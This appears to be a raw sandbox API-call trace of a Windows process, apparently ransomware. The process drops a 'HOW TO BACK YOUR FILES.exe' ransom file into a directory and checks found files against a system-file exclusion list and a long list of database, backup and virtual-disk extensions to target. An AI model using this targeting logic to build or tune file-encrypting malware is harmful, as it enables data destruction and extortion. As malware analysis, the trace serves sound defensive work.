	[0071.861] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86"
	[0071.861] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0071.861] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0071.861] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned 113
	[0071.861] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86"
	[0071.861] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.861] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0071.862] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.862] GetLastError () returned 0x0
	[0071.862] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0071.862] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0071.862] CloseHandle (hObject=0xc0) returned 1
	[0071.862] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0071.862] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.862] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0071.862] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.862] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.862] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.862] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.863] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.863] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.863] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.863] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.863] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15e8b00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd15e8b00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd15e8b00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0071.863] lstrlenW (lpString="cab1.cab") returned 8
	[0071.863] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*") returned 115
	[0071.863] lstrcpyW (in: lpString1=0x119e6ec, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0071.863] lstrlenW (lpString="cab1.cab") returned 8
	[0071.863] lstrlenW (lpString="Apollon865") returned 10
	[0071.863] lstrlenW (lpString=".dll") returned 4
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0071.863] lstrlenW (lpString=".lnk") returned 4
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0071.863] lstrlenW (lpString=".ini") returned 4
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0071.863] lstrlenW (lpString=".sys") returned 4
	[0071.863] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0071.863] lstrlenW (lpString="cab1.cab") returned 8
	[0071.863] lstrlenW (lpString="bak") returned 3
	[0071.863] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0071.863] lstrlenW (lpString="ba_") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0071.864] lstrlenW (lpString="dbb") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0071.864] lstrlenW (lpString="vmdk") returned 4
	[0071.864] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0071.864] lstrlenW (lpString="rar") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0071.864] lstrlenW (lpString="zip") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0071.864] lstrlenW (lpString="tgz") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0071.864] lstrlenW (lpString="vbox") returned 4
	[0071.864] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0071.864] lstrlenW (lpString="vdi") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0071.864] lstrlenW (lpString="vhd") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0071.864] lstrlenW (lpString="vhdx") returned 4
	[0071.864] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0071.864] lstrlenW (lpString="avhd") returned 4
	[0071.864] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0071.864] lstrlenW (lpString="db") returned 2
	[0071.864] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0071.864] lstrlenW (lpString="db2") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0071.864] lstrlenW (lpString="db3") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0071.864] lstrlenW (lpString="dbf") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0071.864] lstrlenW (lpString="mdf") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0071.864] lstrlenW (lpString="mdb") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0071.864] lstrlenW (lpString="sql") returned 3
	[0071.864] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0071.864] lstrlenW (lpString="sqlite") returned 6
	[0071.864] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0071.865] lstrlenW (lpString="sqlite3") returned 7
	[0071.865] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0071.865] lstrlenW (lpString="sqlitedb") returned 8
	[0071.865] lstrlenW (lpString="xml") returned 3
	[0071.865] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0071.865] lstrlenW (lpString="$er") returned 3
	[0071.865] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0071.865] lstrlenW (lpString="4dd") returned 3
	[0071.865] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0071.865] lstrlenW (lpString="4dl") returned 3
	[0071.865] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0071.865] lstrlenW (lpString="^^^") returned 3
	[0071.865] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0071.865] lstrlenW (lpString="abs") returned 3
	[0071.865] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0071.865] lstrlenW (lpString="abx") returned 3
	[0071.865] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0071.865] lstrlenW (lpString="accdb") returned 5
	[0071.865] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0071.865] lstrlenW (lpString="accdc") returned 5
	[0071.865] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0071.865] lstrlenW (lpString="accde") returned 5
	[0071.865] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0071.865] lstrlenW (lpString="accdr") returned 5
	[0071.865] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0071.865] lstrlenW (lpString="accdt") returned 5
	[0071.865] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0071.865] lstrlenW (lpString="accdw") returned 5
	[0071.865] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0071.865] lstrlenW (lpString="accft") returned 5
	[0071.865] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0071.865] lstrlenW (lpString="adb") returned 3
	[0071.865] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0071.865] lstrlenW (lpString="adb") returned 3
	[0071.865] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0071.865] lstrlenW (lpString="ade") returned 3
	[0071.865] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0071.866] lstrlenW (lpString="adf") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0071.866] lstrlenW (lpString="adn") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0071.866] lstrlenW (lpString="adp") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0071.866] lstrlenW (lpString="alf") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0071.866] lstrlenW (lpString="ask") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0071.866] lstrlenW (lpString="btr") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0071.866] lstrlenW (lpString="cat") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0071.866] lstrlenW (lpString="cdb") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0071.866] lstrlenW (lpString="ckp") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0071.866] lstrlenW (lpString="cma") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0071.866] lstrlenW (lpString="cpd") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0071.866] lstrlenW (lpString="dacpac") returned 6
	[0071.866] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0071.866] lstrlenW (lpString="dad") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0071.866] lstrlenW (lpString="dadiagrams") returned 10
	[0071.866] lstrlenW (lpString="daschema") returned 8
	[0071.866] lstrlenW (lpString="db-journal") returned 10
	[0071.866] lstrlenW (lpString="db-shm") returned 6
	[0071.866] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0071.866] lstrlenW (lpString="db-wal") returned 6
	[0071.866] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0071.866] lstrlenW (lpString="dbc") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0071.866] lstrlenW (lpString="dbs") returned 3
	[0071.866] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0071.866] lstrlenW (lpString="dbt") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0071.867] lstrlenW (lpString="dbv") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0071.867] lstrlenW (lpString="dbx") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0071.867] lstrlenW (lpString="dcb") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0071.867] lstrlenW (lpString="dct") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0071.867] lstrlenW (lpString="dcx") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0071.867] lstrlenW (lpString="ddl") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0071.867] lstrlenW (lpString="dlis") returned 4
	[0071.867] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0071.867] lstrlenW (lpString="dp1") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0071.867] lstrlenW (lpString="dqy") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0071.867] lstrlenW (lpString="dsk") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0071.867] lstrlenW (lpString="dsn") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0071.867] lstrlenW (lpString="dtsx") returned 4
	[0071.867] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0071.867] lstrlenW (lpString="dxl") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0071.867] lstrlenW (lpString="eco") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0071.867] lstrlenW (lpString="ecx") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0071.867] lstrlenW (lpString="edb") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0071.867] lstrlenW (lpString="epim") returned 4
	[0071.867] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0071.867] lstrlenW (lpString="fcd") returned 3
	[0071.867] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0071.868] lstrlenW (lpString="fdb") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0071.868] lstrlenW (lpString="fic") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0071.868] lstrlenW (lpString="flexolibrary") returned 12
	[0071.868] lstrlenW (lpString="fm5") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0071.868] lstrlenW (lpString="fmp") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0071.868] lstrlenW (lpString="fmp12") returned 5
	[0071.868] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0071.868] lstrlenW (lpString="fmpsl") returned 5
	[0071.868] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0071.868] lstrlenW (lpString="fol") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0071.868] lstrlenW (lpString="fp3") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0071.868] lstrlenW (lpString="fp4") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0071.868] lstrlenW (lpString="fp5") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0071.868] lstrlenW (lpString="fp7") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0071.868] lstrlenW (lpString="fpt") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0071.868] lstrlenW (lpString="frm") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0071.868] lstrlenW (lpString="gdb") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0071.868] lstrlenW (lpString="gdb") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0071.868] lstrlenW (lpString="grdb") returned 4
	[0071.868] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0071.868] lstrlenW (lpString="gwi") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0071.868] lstrlenW (lpString="hdb") returned 3
	[0071.868] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0071.869] lstrlenW (lpString="his") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0071.869] lstrlenW (lpString="ib") returned 2
	[0071.869] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0071.869] lstrlenW (lpString="idb") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0071.869] lstrlenW (lpString="ihx") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0071.869] lstrlenW (lpString="itdb") returned 4
	[0071.869] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0071.869] lstrlenW (lpString="itw") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0071.869] lstrlenW (lpString="jet") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0071.869] lstrlenW (lpString="jtx") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0071.869] lstrlenW (lpString="kdb") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0071.869] lstrlenW (lpString="kexi") returned 4
	[0071.869] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0071.869] lstrlenW (lpString="kexic") returned 5
	[0071.869] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0071.869] lstrlenW (lpString="kexis") returned 5
	[0071.869] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0071.869] lstrlenW (lpString="lgc") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0071.869] lstrlenW (lpString="lwx") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0071.869] lstrlenW (lpString="maf") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0071.869] lstrlenW (lpString="maq") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0071.869] lstrlenW (lpString="mar") returned 3
	[0071.869] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0071.869] lstrlenW (lpString="marshal") returned 7
	[0071.869] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0071.869] lstrlenW (lpString="mas") returned 3
	[0071.870] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0071.870] lstrlenW (lpString="mav") returned 3
	[0071.870] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0071.870] lstrlenW (lpString="maw") returned 3
	[0071.872] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0071.872] lstrlenW (lpString="mdbhtml") returned 7
	[0071.872] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0071.872] lstrlenW (lpString="mdn") returned 3
	[0071.872] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0071.872] lstrlenW (lpString="mdt") returned 3
	[0071.872] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0071.872] lstrlenW (lpString="mfd") returned 3
	[0071.872] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0071.872] lstrlenW (lpString="mpd") returned 3
	[0071.872] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0071.872] lstrlenW (lpString="mrg") returned 3
	[0071.872] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0071.872] lstrlenW (lpString="mud") returned 3
	[0071.872] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0071.872] lstrlenW (lpString="mwb") returned 3
	[0071.874] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0071.874] lstrlenW (lpString="myd") returned 3
	[0071.874] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0071.874] lstrlenW (lpString="ndf") returned 3
	[0071.874] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0071.875] lstrlenW (lpString="nnt") returned 3
	[0071.875] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0071.875] lstrlenW (lpString="nrmlib") returned 6
	[0071.875] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0071.875] lstrlenW (lpString="ns2") returned 3
	[0071.875] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0071.875] lstrlenW (lpString="ns3") returned 3
	[0071.875] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0071.875] lstrlenW (lpString="ns4") returned 3
	[0071.875] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0071.875] lstrlenW (lpString="nsf") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0071.876] lstrlenW (lpString="nv") returned 2
	[0071.876] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0071.876] lstrlenW (lpString="nv2") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0071.876] lstrlenW (lpString="nwdb") returned 4
	[0071.876] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0071.876] lstrlenW (lpString="nyf") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0071.876] lstrlenW (lpString="odb") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0071.876] lstrlenW (lpString="odb") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0071.876] lstrlenW (lpString="oqy") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0071.876] lstrlenW (lpString="ora") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0071.876] lstrlenW (lpString="orx") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0071.876] lstrlenW (lpString="owc") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0071.876] lstrlenW (lpString="p96") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0071.876] lstrlenW (lpString="p97") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0071.876] lstrlenW (lpString="pan") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0071.876] lstrlenW (lpString="pdb") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0071.876] lstrlenW (lpString="pdm") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0071.876] lstrlenW (lpString="pnz") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0071.876] lstrlenW (lpString="qry") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0071.876] lstrlenW (lpString="qvd") returned 3
	[0071.876] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0071.877] lstrlenW (lpString="rbf") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0071.877] lstrlenW (lpString="rctd") returned 4
	[0071.877] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0071.877] lstrlenW (lpString="rod") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0071.877] lstrlenW (lpString="rodx") returned 4
	[0071.877] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0071.877] lstrlenW (lpString="rpd") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0071.877] lstrlenW (lpString="rsd") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0071.877] lstrlenW (lpString="sas7bdat") returned 8
	[0071.877] lstrlenW (lpString="sbf") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0071.877] lstrlenW (lpString="scx") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0071.877] lstrlenW (lpString="sdb") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0071.877] lstrlenW (lpString="sdc") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0071.877] lstrlenW (lpString="sdf") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0071.877] lstrlenW (lpString="sis") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0071.877] lstrlenW (lpString="spq") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0071.877] lstrlenW (lpString="te") returned 2
	[0071.877] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0071.877] lstrlenW (lpString="teacher") returned 7
	[0071.877] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0071.877] lstrlenW (lpString="tmd") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0071.877] lstrlenW (lpString="tps") returned 3
	[0071.877] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0071.878] lstrlenW (lpString="trc") returned 3
